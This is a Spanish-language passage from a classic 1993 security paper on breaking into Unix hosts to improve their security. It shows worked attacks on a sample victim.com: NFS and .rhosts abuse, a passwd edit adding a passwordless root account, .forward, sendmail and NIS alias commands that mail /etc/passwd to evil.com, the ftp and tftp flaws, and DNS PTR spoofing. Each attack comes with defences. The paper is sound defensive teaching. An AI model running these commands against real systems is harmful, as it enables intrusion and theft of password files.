Pero no te pares ahi - debes tambien utilizar DNS, whois, sendmail (smtp), ftp, uucp, y tantos otros servicios como puedas encontrar. Hay tantos metodos y tecnicas que el espacio nos impide enseñaros todos, pero trataremos de enseñar una representativa de las estrategias mas comunes y/o peligrosas que hemos visto o que se nos han ocurrido.

Idealmente, podrias recoger dicha informacion sobre todos los hosts en la subred o area de ataque - la informacion es poder - pero por ahora examinaremos solo nuestra victima/blanco en cuestion.

Para comenzar, miraremos lo que el comando finger nos ha reportado. (imagina que son las 6pm, 6 Noviembre, 1993):

```
victim % finger @victim.com
 [victim.com]
 Login       Name            TTY    Idle     When         Where
 zen         Dr.  Fubar       co      1d    Wed 08:00    death.com
```

Bien! Un solo usuario inactivo - se supone que nadie va a notar si intentas irrumpir dentro.

Ahora intentas mas tacticas. Como todos los devotos del finger sabran, hacer finger "@", "0", y "", asi como a nombre comunes, como root, bin, ftp, system, guest, demo, manager, etc..., puede revelar informacion interesante. Lo que esa informacion sea depende de la version de finger que tu victima este usando, pero la mas importante son nombres de cuentas, conjuntamente con sus home directories y el ultimo host desde el que se conectaron.

Para añadir a esta informacion, puedes tambien usar rusers (en particular con la extension -l) para pillar informacion valiosa sobre usuarios conectados.

Usando estos comandos en victim.com nos da la siguiente informacion, presentada de forma tabulada comprimida para ahorrar espacio:

```
Login   Home-dir       Shell      Last login, from where
root      /           /bin/sh     Fri Nov 5 07:42 on ttyp1 from big.victim.com
bin       /bin                    Never logged in
nobody    /                       Tue Jun 15 08:57 on ttyp2 from server.victim.co
daemon    /                       Tue Mar 23 12:14 on ttyp0 from big.victim.com
sync      /           /bin/sync   Tue Mar 23 12:14 on ttyp0 from big.victim.com
zen       /home/zen     /bin/bash   On since Wed Nov  6 on ttyp3 from death.com
sam       /home/sam     /bin/csh    Wed Nov  5 05:33 on ttyp3 from evil.com
guest     /export/foo   /bin/sh     Never logged in
ftp       /home/ftp                 Never logged in
```

Tanto nuestros experimentos con el SATAN como el ver en funcionamiento system crackers nos ha demostrado que el finger es uno de los servicios mas peligrosos, por su valor a la hora de investigar una victima potencial. De todas formas, mucha de esta informacion solamente es valiosa usada conjuntamente con otros datos.

Por ejemplo, ejecutando showmount (informacion sobre el montaje de un servidor)en tu victima nos revela lo siguiente:

```
evil % showmount -e victim.com
export list for victim.com:
/export                                 (everyone)
/var                                   (everyone)
/usr                                    easy
/export/exec/kvm/sun4c.sunos.4.1.3              easy
/export/root/easy                           easy
```

/export/swap/easy easy

Notar que /export/foo esta "exportado al mundo"; tambien fijaros que este es el home directory del usuario "guest". Es hora de tu primera intrusion! En este caso, montaras el home directoy del usuario "guest". Como no tienes la cuenta correspondiente en esa maquina y como root no puede modificar archivos en un sistema de archivos NFS, creas una cuenta "guest" en tu archivo de password local. Como usuario "guest" puedes colocar una ".rhosts entry" en el guest home directory remoto, que te permitira acceder a dicha maquina sin tener que dar ningun password.

```
evil # mount victim.com:/export/foo /foo
 evil # cd /foo
 evil # ls -lag
 total 3
    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
    1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
 evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
 evil # ls -lag
 total 3
    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
    1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
 evil # su guest
 evil % echo evil.com >> guest/.rhosts
 evil % rlogin victim.com
        Welcome to victim.com!
 victim %
```

Si, en lugar de home directories, victim.com exportara sistemas de archivos con comandos de usuario (como , /usr o /usr/local/bin), podrias reemplazar un comando por un caballo de troya que ejecutara cualquier comando de tu eleccion. El siguiente usuario en ejecutar dicho comando ejecutaria tu programa

Sugerimos que se exporten estos sistemas de archivos:

Lectura/excritura solo a clientes especificos y de confianza
Solo-lectura, donde sea posible (datos o programas pueden ser exportados de esta forma)

Si la victima tiene un "+" wildcard en su /etc/hosts.equiv (por defecto en varias maquinas) o tiene el netgroups bug , cualquier usuario no root con un login en el fichero de passwords de la victima puede hacer un rlogin (login remoto) a la victima sin necesidad de password. Y como el usuario "bin" normalmente tiene ficheros llave y directorios, tu siguiente ataque es el de tratar de acceder en el host de la victima y modificar el fichero de passwords para permitirte tener acceso "root":

```
evil % whoami
 bin
 evil % rsh victim.com csh -i
 Warning: no access to tty; thus no job control in this shell...
 victim %  ls -ldg /etc
 drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
 victim %  cd /etc
 victim %  mv passwd pw.old
 victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) >
passwd
 victim % ^D
 evil % rlogin victim.com -l toor
        Welcome to victim.com!
 victim #
```

Unas pocas notas sobre el metodo usado arriba; "rsh victim.com csh -i" se usa para inicialmente entrar en el sistema ya que no deja ningun rastro en los ficheros wtmp o utmp, haciendo el comando rsh invisible para el finger y el who. El shell remoto no esta unido a un pseudo-terminal, asi que los prgramas tipo pagers y editores fallaran - pero es de gran utilidad para una breve exploracion.

La utilidad de seguridad COPS (ver apendice D) informara de archivos o directorios que son "escribibles" a otras cuentas aparte de la superuser. Si usas SunOS 4.x puedes aplicar el patch 100103 para arreglar muchos de los problemas de permisos de ficheros. En muchos sistemas, rsh lo prueba en lo expuesto arriba, aun cuando tenga éxito, seguira siendo completamente innotificable; el tcp wrapper (apendice D), que "logea" conexiones entrantes, puede ayudar a desenmascarar dichas actividades.

Y ahora que? Has destapado ya todos los agujeros del sistema-victima? Volviendo a los resultados dados por el finger en nuestra victima, te das cuenta de que tiene una cuenta "ftp", que normalmente significa que se puede hacer ftp anonimo. Ftp anonimo puede ser una forma facil de conseguir acceso, ya que esta muchas veces mal configurado. Por ejemplo, la victima debe de tener una copia completa del fichero /etc/passwd en su ftp anonimo -ftp/etc en vez de una version reducida. En este ejemplo, sin embargo, puedes ver que este ultimo no parece ser el verdadero (como puedes afirmarlo sin haber examinado el archivo?) Sin embargo, el home directory de "ftp" en victim.com es escribible. Esto te permite ejecutar comandos remotamente - en este caso, mandarte el archivo por mail a ti mismo - por el simple metodo de crear un archivo .forward que ejecuta un comando cuando un mail es mandado a la cuenta "ftp".

```
evil % cat forward_sucker_file
 "|/bin/mail zen@evil.com < /etc/passwd"

 evil % ftp victim.com
```

```
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x  4 101      1            512 Jun 20  1991 .
drwxr-xr-x  4 101      1            512 Jun 20  1991 ..
drwxr-xr-x  2 0        1           512 Jun 20  1991 bin
drwxr-xr-x  2 0        1           512 Jun 20  1991 etc
drwxr-xr-x  3 101      1            512 Aug 22  1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com
```

Ahora simplemente tienes que esperar a que el fichero de passwords te sea enviado.

La herramienta de seguridad COPS chequeara el setup de tu ftp anonimo; mirar la documentacion man sobre ftpd, la documetacion/codigo de COPS, o el CERT advisory 93:10 para recoger informacion acerca de como establecer (setup, por si hay dudas) ftp anonimo correctamente.
Vulnerabilidades en el ftp son normalmente cusetion de una posesion incorrecta o de los permisos de archivos y directorios. Al menos, estate seguro de que -ftp y todos los directorios y ficheros "system" por debajo de -ftp son de root y que no tienen privilegios de escritura para ningun usuario.

Examinando ftp, puedes probar un viejo bug que en su dia fue bastamente explotado:

```
% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (o lo que sea)
```

Si esto funciona, estaras dentro como root, y con capacidad para modificar el fichero passwd, o lo que desees. Si tu sistema tiene este bug, tienes que conseguir un update de tu ftpd daemon, ya sea de tu vendedor o por ftp anonimo en ftp.uu.net.

El wuarchive ftpd, un conocido "recambio" del ftp daemon dado por la Washington University in Saint Louis, tenia casi el mismo problema. Si tu wuarchive ftpd es anterior a Abril de 1993, deberias reemplazarlo por una version mas reciente.

Finalmente, hay un programa similar a ftp - tftp, o trivial file transfer program. Este daemon no necesita de ningun password para autentificacion; si un host provee de tftp sin restringir el acceso (normalmente mediante algun flag seguro puesto en el archivo inetd.conf), un atacante podria leer y escribir archivos en cualquier lugar del sistema. En el ejemplo, pillas el fichero passwd y se pone en tu directorio /tmp local:

```
evil % tftp
 tftp> connect victim.com
 tftp> get /etc/passwd /tmp/passwd.victim
 tftp> quit
```

Por el bien de la seguridad, tftp no deberia de ejecutarse; si tftp es necesario, utiliza la opcion/flag segura para restringir el acceso a un directorio que contenga informacion sin valor, o ejecutalo bajo el control de un programa chroot wrapper.

Si ninguno de los metodos anteriores ha funcionado, es hora de tomar medidas mas drasticas. Tu nuevo amigo es rpcinfo, otro programa de gran utilidad, muchas veces incluso mas practico que el finger. Muchos hosts tienen servicios RPC que pueden ser explotados; rpcinfo puede hablar con el portmapper y enseñarte el camino. Puede decirte si el host esta usando NIS, si es un servidor o esclavo NIS, si hay una estacion de trabajo sin disquetera por ahi, si esta usando NFS, cualquiera de los servicios de info (rusersd, rstatd, etc..), o cualquier otro programa inusual (relacionados con logs y seguridad). Por ejemplo, volviendo a nuestra victima:

```
evil % rpcinfo -p victim.com
   program vers proto   port
    100004    2   tcp    673  ypserv
    100005    1   udp    721  mountd
    100003    2   udp   2049  nfs
    100026    1   udp    733  bootparam
    100017    1   tcp   1274  rexd
```

En este caso, puedes ver varios datos significativos sobre nuestra victima; el primero de los cuales es que es un servidor NIS. Puede que no sea muy sabido, pero una vez que se conoce el nombre de dominio NIS de un servidor,

puedes tener cualquiera de sus mapas NIS con una simple orden rpc, incluso cuando estas fuera de la subred del servidor NIS (por ejemplo, usando el programa YPX que se puede encontrar en los archivos comp.sources.misc en ftp.uu.net). Adicionalmente, tanto como los facilmente adivinables passwords, muchos sistemas usan nombres de dominio NIS facilmente adivinables. Tratar de adivinar el nombre de dominio NIS es normalmente provechoso/fructifero. Los mayores candidatos son los nombres del host en forma parcial y total (e.g. "victim" and "victim.com", el nombre de la organización, nombres del grupo dados por el comando "showmount", y demas. Si quisieras probar si el nombre de dominio fuera "victim", teclearias:

```
evil % ypwhich -d victim victim.com
 Domain victim not bound.
```

Como se ve este fue un intento sin éxito; si huiera sido correcto "victim", nos habria dado un mensaje con el nombre de host del servidor NIS. De todas formas, fijaros de la seccion NFS que victim.com esta exportando el directorio "/var" al mundo. Todo lo que se necesita es montar dicho directorio y mirar en el subdirectorio "yp" - entre otras cosas veras otro subdirectorio que contiene el nombre de dominio de la victima.

```
evil # mount victim.com:/var /foo
 evil # cd /foo
 evil # /bin/ls -alg /foo/yp
 total 17
    1 drwxr-sr-x  4 root     staff        512 Jul 12 14:22 .
    1 drwxr-sr-x 11 root     staff        512 Jun 29 10:54 ..
   11 -rwxr-xr-x  1 root     staff      10993 Apr 22 11:56 Makefile
    1 drwxr-sr-x  2 root     staff        512 Apr 22 11:20 binding
    2 drwxr-sr-x  2 root     staff       1536 Jul 12 14:22 foo_bar
    [...]
```

En este caso "foo_bar" es el nombre de dominio del NIS.

Adicionalmente, los mapas NIS contienen normalmente una buena lista de nombres de usuarios/empleados asi como listas de hosts internos, por no mencionar passwords para crackear.

El apendice C detalla los resultados de un caso practico sobre archivos de passwords NIS.

Puedes observar que la respuesta dada por el comando rpcinfo mostraba que victim.com usaba rexd. Como el rsh daemon, rexd procesa peticiones del tipo "por favor ejecuta este comando como ese usuario (como siendo ese usuario)". A diferencia de rshd, rexd no tiene en cuenta si el host cliente esta o no en los archivos hosts.equiv o .rhost. Normalmente el programa rexd cliente es el comando "on", pero tan solo es necesario un pequeño programa en C para mandar informacion arbitraria sobre el host y userid

cliente al servidor rexd; rexd ejecutara tan contento el comando. Por estas razones, ejecutar rexd es similar a no tener passwords: toda la seguridad esta en el cliente, no en el servidor que es donde deberia. La seguridad del rexd puede ser mejorada de alguna manera usando un RPC seguro.

Observando de nuevo la respuesta de rpcinfo, puedes observar que victim.com parece ser un server para estaciones de trabajo sin disqueteras. Esto se evidencia debido a la presencia del servicio bootparam, que provee informacion a los clientes sin disquetera para el arranque. Si lo preguntas correctamente, usando BOOTPARAMPROC_WHOAMI y dando la direccion de un cliente, puedes obtener su nombre de dominio NIS. Esto puede ser de gran utilidad cuando es combiando con el hecho de que puedes conseguir mapas NIS arbitrarios (como el fichero password) cuando sabes el nombre de dominio. Aquí va un ejemplo de codigo para hacer justo eso:

```
char   *server;
struct bp_whoami_arg arg;          /* query */
struct bp_whoami_res res;          /* reply */


/* initializations omitted... */


callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAM-
PROC_WHOAMI,
       xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);

printf("%s has nisdomain %s\n", server, res.domain_name);
```

El resultado del comando showmount indicaba que "easy" es un cliente sin disquetera de victim.com, asi que usamos su direccion de cliente en el query BOOTPARAMPROC_WHOAMI:

```
evil % bootparam victim.com easy.victim.com
victim.com has nisdomain foo_bar
```

Los NIS masters controlan los alias del mail para el dominio NIS en cuestion. Como en los ficheros de alias de mail locales, puedes crear un mail alias que ejecutara comandos cuando el mail le es mandado(un ejemplo popular de esto es el alias "decode" que "uudecodea" archivos mail que le son mandados). Por ejemplo, aquí creas un alias "foo", que mailea el fichero password de vuelta a evil.com simplemente maileandole cualquier mensaje:

```
nis-master # echo 'foo: "|mail zen@evil.com< /etc/passwd "' >> /etc/aliases
nis-master # cd /var/yp
```

```
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com
```

Por suerte los atacantes no tendran control de tu NIS master host, pero mas aun laa leccion esta clara - NIS normalmente no es seguro, pero si un atacante se hace con el control de tu NIS master, efectivamente tendra de los hosts clientes(por ejemplo podra ejecutar comandos arbitarrios).

No hay demasiadas defensas contra estos ataques; es un servicio inseguro que casi no tiene autentificacion entre clientes y servers. Para mas INRI, parece claro que se pueden forzar mapas aleatorios incluso en servidores maestros (ej, es posible tratar a un servidor NIS como si fuera un cliente). Obviamente, esto echaria abajo todos los esquemas. Ni es absolutamente necesario usar NIS, el usar un nombre de dominio dificil de adivinar facilitaria mucho las cosas, pero si usas clientes sin disquetera que estan expuestos a atacantes en potencia, entonces es insignifante para este atacante el sobrepasar este simple paso haciendo uso del truco del bootparam para conseguir el nombre de dominio. Si el NIS es usado para propagar los mapas de passwords, entonces los shadowed passwords no ofrecen ningun tipo de proteccion adicional ya que el mapa shadow seria aun accesible para cualquier atacante que fuera root en un host de ataque.
Lo mehjor es usar NIS lo menos posible, o por lo menos darse cuenta de que los mapas pueden ser objeto de lectuta por fuerzas potencialmente hostiles.

El tener un protocolo RPC seguro disminuye en gran medida la amenaza, pero tiene sus propios problemas, principalmente en que es dificil de administrar, pero tambien en que los metodos de criptologia usados no son muy poderosos. Hay rumores de que NIS+, el nuevo servicio de informacion de red de Sun, soluciona alguno de los problemas, pero hasta ahora se ha limitado a correr bajo Suns.
Finalmente, el usar filtrado de paquetes(packet filtering)en el puerto 111 o securelib (ver apendice D), o, para Suns, aplicar el parche 100482-02 de Sun, puede tambien ayudar.

El portmapper (mapeador de puertos) solo sabe de servicios RPC. Otros servicios de red pueden ser localizados con el metodo de fuerza bruta que conecta a todos los puertos de la red. Muchas utilidades de red y sistemas basados en ventanas "escuchan" en puertos especificos (ej, sendmail esta en el puerto 25, telnet en el 23, X windows normalmente esta en el 6000, etc). SATAN incluye un programa que escanea los puertos de un host remoto e informa lo que ha encontrado; si lo ejecutaras contra nuestra victima verias lo siguiente:

```
evil % tcpmap victim.com
 Mapping 128.128.128.1
 port 21: ftp
 port 23: telnet
 port 25: smtp
```

port 37: time
port 79: finger
port 512: exec
port 513: login
port 514: shell
port 515: printer
port 6000: (X)

Esto sugiere que victim.com esta corriendo X windows. Si no esta correctamente protegido (por via de la cookie magica,magic cookie, o por mecanismos xhost), el contenido de las ventanas podria capturarse u observarse, lo que teclean los usuarios robado, ejecutar programas remotamente, etc. Tambien, si la victima esta usando X windows y acepta un telnet por el puerto 6000 (X), esto podria ser usado para un ataque de denegacion de servicio (denial of service attack), ya que el sistema de ventanas de la victima se suele mantener "congelado" por unos instantes. Un metodo para determinar la vulnerabilidad de un servidor X (corriendo X windows) es el de conectarse al mismo por medio de la funcion XOpenDisplay(); si esta nos da como resultado NULL entonces no puedes acceder al display de la victima (opendisplay es parte de SATAN):

```
char   *hostname;

if (XOpenDisplay(hostname) == NULL) {
   printf("Cannot open display: %s\n", hostname);
} else {
   printf("Can open display: %s\n", hostname);
}
```

```
evil % opendisplay victim.com:0
Cannot open display: victim.com:0
```

Los terminales X, aunque mucho menos potentes que un sistema UNIX completo, pueden tener sus propios problemas de seguridad. Muchos terminales X permiten accesos rsh no restringidos, permitiendote iniciar programas clientes X en el terminal de la victima apareciendo los resultados en tu propia pantalla:

```
evil % xhost +xvictim.victim.com
evil % rsh xvictim.victim.com telnet victim.com -display evil.com
```

En cualquier caso, dale la misma importancia a la seguridad de tu sistema de ventanas, como a la de tu sistema de archivos y utilidades de red, ya que si no puede comprometer tu sistema igual que un "+" en el host.equiv o una cuenta root sin password.
Lo siguiente es examinar el sendmail. Sendmail es un programa muy complejo que tiene un largo historial de problemas de seguridad, incluyendo el infame comando "wiz" (por suerte hace mucho que se deshabilito en todas las maquinas). A menudo puedes determinar el sistema operativo, a veces hasta la version, de la victima, mirando al numero de version de sendmail. Esto,

nos puede dar pistas acerca de como de vulnerable sera a cualquiera de los muchos bugs. Adicionalmente, puedes ver si usan el alias "decode", que posee su propio set de problemas:

```
evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25
connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri,6 Nov 93 18:00
PDT
expn decode
250 <"|/usr/bin/uudecode">
quit
```

El usar el alias "decode" es un riesgo de seguridad - permite a los atacantes en potencia sobreescribir cualquier fichero que fuese escribible por el poseedor de ese alias - a menudo un daemon, pero potencialmente cualquier usuario. Considera este trozo de mail - esto pondra a "evil.com" en el archivo .rhost del usuario zen si es que fuera escribible.

```
evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail
decode@victim.com
```

Si no se conocen o no hay home directories escribibles, una interesante variacion de esto sera la creacion de un archivo /etc/aliases.pag falso que contenga un alias con un comando que quieras ejecutar en tu victima. Esto puede funcionar debido a que en muchos sistemas los archivos aliases.pag y aliases.dir, que controlan los alias de mail del sistema, son escribibles para todo el mundo.

```
evil % cat decode
bin: "| cat /etc/passwd | mail zen@evil.com"
evil % newaliases -oQ/tmp -oA`pwd`/decode
evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
```

Se pueden encontrar muchas cosas simplemente preguntando a sendmail si una direccion es aceptable (vrfy), o hasta donde se expande una direccion (expn). Cuando los servicios de finger o rusers se desabilitan, vrfy y expn pueden todavia ser usados para identificar cuentas de usuarios. Vrfy y expn pueden tambien ser usados para descubrir si el usuario esta ejecutando mail por medio de cualquier programa susceptible de ser explotado (ej, vacation, mail sorters, etc.). Puede ser una buena idea el desabilitar los comandos vrfy y expn: en la mayoria de las versiones, mira en el codigo fuente del archivo srvrsmtp.c, y o bien borra o cambia las dos lineas de la estructura CmdTab que tengan los strings "vrfy" y "expn". Sites sin codigo pueden tambien desabilitarlos simplemente editando el ejecutable del sendmail con un editor binario y reemplazando "vrfy" y "expn" por espacios en blanco. El adquirir una version reciente del sendmail (ver apendice D) es tambien una gran idea, puesto que ha habido mas informes sobre bugs en el sendmail que encualquier otro programa UNIX.

Hay dos bugs muy conocidos que deben ser tratados. El primero fue definitivamente arreglado en la version 5.59 de Berkeley; a pesar de los mensajes de abajo, para versiones de sendmail previas a la 5.59, "evil.com" se añade, a pesar de los mensajes de error, junto con los tipicos headers del mail, al archivo especificado:

```
% cat evil_sendmail
 telnet victim.com 25 << EOSM
 rcpt to: /home/zen/.rhosts
 mail from: zen
 data
 random garbage
 .
 rcpt to: /home/zen/.rhosts
 mail from: zen
 data
 evil.com
 .
 quit
 EOSM

 evil % /bin/sh evil_sendmail
 Trying 128.128.128.1
 Connected to victim.com
 Escape character is '^]'.
 Connection closed by foreign host.

 evil % rlogin victim.com -l zen
        Welcome to victim.com!
 victim %
```

El segundo agujero, recientemente solucionado, permitia a cualquiera especificar comandos arbitrarios de shell y/o caminos de ruta para el remitente y/o direccion de destino. Los intentos por mantener los detalles en secreto fueron en vano, y extensas discusiones en listas de correo o grupos de news de usenet llevaron a revelar como explotar los bugs de algunas versiones. Como en muchos bugs de UNIX, casi todas las distribuciones de sendmail eran vulnerables al problema, ya que todas compartian un ancestral codigo fuente comun. El espacio nos impide discutirlo en su totalidad, pero un tipico ataque para conseguir el fichero de passwords seria de la siguiente manera:

```
evil % telnet victim.com 25
 Trying 128.128.128.1...
 Connected to victim.com
 Escape character is '^]'.
 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
```

```
mail from: "|/bin/mail zen@evil.com < /etc/passwd"
250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
evil %
```

Mientras escribiamos esto, se informa que la version 8.6.4 de sendmail (ver apendice D para informacion sobre como conseguirlo) es la unica variante del sendmail con todos los bugs recientes corregidos (ni de coña J).

Confianza

Para nuestro ultimo topico de vulnerabilidad, nos desviaremos de la estrategia practica que hemos seguido previamente para meternos un poco mas en la parte teorica, y discutir brevemente la nocion de la confianza. Las cuestiones e implicaciones de la vulnerabilidad aquí, son un poco mas sutiles y lejanas de alcanzar que las que hemos apuntado anteriormente; en el contexto de este texto usamos la palabra confianza siempre que se da la situacion de que un servidor (siempre que un host permite acceso remoto se le puede llamar servidor) permita que un recurso local sea usado por un cliente sin autentificacion de password cuando dicha autentificacion es normalmente requerida. En otras palabras, limitamos arbitrariamente la discusion a los clientes "disfrazados".

Hay muchas maneras de un host pueda confiar: los ficheros .rhosts y hosts.equiv que permiten el acceso sin verificacion de password; servidores basados en ventanas que permiten a los sistemas remotos el uso y abuso de privilegios; archivos exportados que controlan el acceso via NFS, y mas.

Casi todos estos dependen de la conversion del IP del cliente al nombre del host para determinar si se concede el servicio o no. El metodo mas simple usa el archivo /etc/hosts para una busqueda directa. Sin embargo, hoy en dia la mayoria de hosts usan o bien DNS (Domain Name Service), NIS, o ambos para el servicio de busqueda del nombre. Una busqueda inversa ocurre cuando un servidor tiene una direccion IP (de una conexión de un cliente) y desea coger el correspondiente nombre del host del cliente.

Auqnue el concepto de como funciona la confianza del host es bien sabido por muchos administradores de sistema, los peligros de la confianza, y el problema practico que representa, sin tomar en consideracion la interpretacion del nombre del host, es uno de los problemas menos entendidos que conocemos en Internet. Esto va mas alla de los obvios ficheros hosts.equiv y .rhosts; NFS, NIS, sistemas de ventanas - de hecho,

muchos de los utiles servicios en UNIX estan basados en el concepto de que sites bien conocidos (para un administrador o ususario) son de alguna manera de confianza. Lo que no se entiende es como las redes atan de forma tan estrecha la seguridad entre lo que normalmente se consideran hosts inconexos.

Cualquier forma de confianza puede ser engañada, burlada, o derribada, especialmente cuando la autoridad que tiene la responsabilidad de chequear los credenciales de un cliente esta o bien fuera del dominio administrativo del servidor, o cuendo el mecanismo de confianza esta basado de alguna forma en metodo que tiene una forma debil de autentificacion; normalmente ambos son el caso.

Obviamente, si el host que contiene la base de datos (bien NIS, DNS, o o lo que sea) ha sido comprometido, el intruso puede convencer al host victima de que el viene de cualquier host de confianza; ahora es suficiente con encontrar que hosts son de confianza para la victima. Esta tarea es en gran medida facilitada examinado de donde los administradores de sistema y las cuentas del sistema (tales como root, etc.) se conectaron por ultima vez. Volviendo a nuestra victima, victim.com, puedes ver que la cuenta root asi como otras cuentas del sistema se conectaron desde big.victim.com. Cambias el registro PTR para evil.com de forma que cuando intentes hacer un rlogin (login remoto) desde evil.com a victim.com, evil.com intentara buscar tu nombre de host y encontrara lo que pusistes en el registro. Si el registro en la base de datos DNS es asi:

1.192.192.192.in-addr.arpa IN PTR evil.com

y lo cambias por:

1.192.192.192.in-addr.arpa IN PTR big.victim.com

entonces, dependiendo de como sea de ingenuo el software de victim.com, victim.com creera que el acceso proviene de big.victim.com, y, asumiendo que big.victim.com este en los ficheros /etc/hosts.equiv o /.rhosts, te sera posible aceder sin tener que proporcionar un password. Con NIS, es cuestion de o bien editar la base de datos del host en el NIS maestro (si es que este esta controlado por el intruso) o de burlar o forzar el NIS (ver discusion sobre la seguridad del NIS arriba) para proporcionar a la victima cualquier informacion que desees. Aunque mas complejos, dañinos e interesantes ataques pueden ser realizados por medio del DNS, el tiempo y el espacio no permiten cubrir dichos metodos aquí.

Dos metodos puedem ser usados para prevenir dichos ataques. El primero es el mas directo, pero quizas mas poco practico. Si tu site no usa ningun metodo de confianza, no seras tan vulnerable al engaño de host. La otra estrategia es la de usar protocolos encriptados. El usar el seguro protocolo RPC (usado en NFS, NIS+, seguros) es un metodo; aunque ha sido "roto" criptograficamente, aun da mas seguridad que los procedimientos de autentificacion RPC que no usan ningun tipo de metodo de encriptacion.

Otras soluciones, tanto de hardware (smartcards) como de software (Kerberos), estan siendo desarroladas, pero estan o bien incompletas o requieren cambios en el software de el sistema.

El apendice B detalla los resultados de un estudio informal tomado de una variedad de hosts en Internet.

Protegiendo el sistema

Es nuestra esperanza el que hallamos demostrado que incluso algunos de los aparentemente inocuos servicios ofrecidos (algunas veces inesperadamente) pueden ser "municion" para determinados crackers de sistemas. Pero, por supuesto, si la seguridad fuera nuestra unica preocupacion, los ordenadores jamas estarian encendidos, y enganchados a una red con literalmente millones de intrusos en potencia. Mas que dar avisos de que deberia o no encenderse, ofreceremos algunas sugerencias generales:

Si no puedes quitar el servicio finger, considera el instalar un nuevo finger daemon. Es raramente necesario el revelar el home directory de un usuario y la procedencia de su ultimo acceso.

No corras NIS a menos que sea absolutamente necesario. Usalo lo menos posible.

Jamas exportes sistemas de archivo NFS sin restriccion, a todo el mundo. Trata de exportar sistemas de archivos de solo lectura cuando sea posible.

"Fortifica" y protege los servidores (ej, los hosts que dan un servicio a otros hosts - NFS, NIS, DNS, o lo que sea.). Solo permite cuentas administrativas en dichos hosts.

Examina cuidadosamente los servicios ofrecidos por inetd y el mapeador de puertos (pormapper). Elimina todos aquellos que no sean totalmente necesarios. Usa los inetd wrappers de Wietse Venema, no para otra funcion que la de tener un log de las fuentes de conexiones a tu host. Esto aporta grandes mejoras a las caracteristicas de verificacion standard de UNIX, especialmente con referencia a los ataques de red. Si es posible, usa los metodos loghost de syslog para obtener informacion relacionada con la seguridad en un host seguro.

Elimina los metodos de confianza a menos que su uso sea totalmente necesario. La confianza es tu enemigo.

Usa passwords shadowed y el comando passwd para rechazar passwords pobres, debiles. Desabilita cuentas de usuario o de sistema no usadas o inactivas.

Estate al tanto de la literatura actual (observa la lista de lectura y bibliografua sugerida al final de este documento) y de las herramientas de seguridad; informa a los demas acerca de problemas e incidentes de seguridad. Como minimo, suscribete a la lista de mail del CERT y de la revista PHRACK (ademas de la lista de mail de los firewalls, si tu site esta usando o piensa instalar firewalls) y lee los grupos de news de usenet acerca de seguridad para asi obtener la ultima informacion sobre problemas de seguridad. La ignorancia es el problema de seguridad mas mortal de los que estamos al tanto.

Instala todos los parches de seguridad tan pronto como sea posible, en todos tus hosts. Examina la informacion de los parches de seguridad de otras distribuciones - muchos bugs (rdist, sendmail) son comunes en muchas variantes UNIX.

Es interesante el ver que soluciones comunes para problemas de seguridad , tales como usar Kerberos o el usar passwords de usar y tirar o tokens digitales no son efectivas contra muchos de los ataques discutidos aquí. Recomendamos de verdad el uso de tales sistemas, pero alertamos que no son la solucion TOTAL a los problemas de seguridad - son parte de un esfuerzo mayor de proteger tu sistema.

Conclusiones

Tal vez ninguno de los metodos expuestos aquí sean sorprendentes; cuando se escribio este documento, no aprendimos mucho sobre como irrumpir en sistemas. Lo que aprendimos fue, testeando estos metodos en nuestros propios sistemas y en sites amigos, lo efectivos que son estos metodos a la hora de ganar acceso a un tipico host Unix de Internet. Cansado de tratar de teclear todo esto a mano, y deseando mantener nuestros propios sistemas mas seguros, decidimos poner en practica una herramienta de seguridad (SATAN) que trata de chequear hosts remotos al menos para alguno de los problemas discutidos aquí. La tipica respuesta, cuando informabamos a la gente acerca de nuestro documento y nuestra herramienta, era algo del estilo de "eso suena bastante peligroso - espero que no vayas a darlo a todo cristo. Pero ya que tu confias en mi, podria tener una copia?"

Jamas pensamos en crear un cookbook o una herramienta de metodos y programas soobre/para irrumpir en sistemas - en vez de eso, vemos que estos mismos metodos fueron usados, todos los dias, contra nosotros y contra administradores de sistema amigos. Creemos que el propagar la informacion que normalmente no era accesible para aquellos que estuvieran fuera del underworld, podemos aumentar la seguridad incrementando la conciancia del peligro.. El intentar restringir el acceso a informacion "peligrosa" sobre seguridad nunca ha sido un metodo muy util para incrementar la seguridad; de hecho, lo contrario parece ser el caso, ya que los crackers de sistemas han sido reticentes a la hora de compartir informacion con otros.

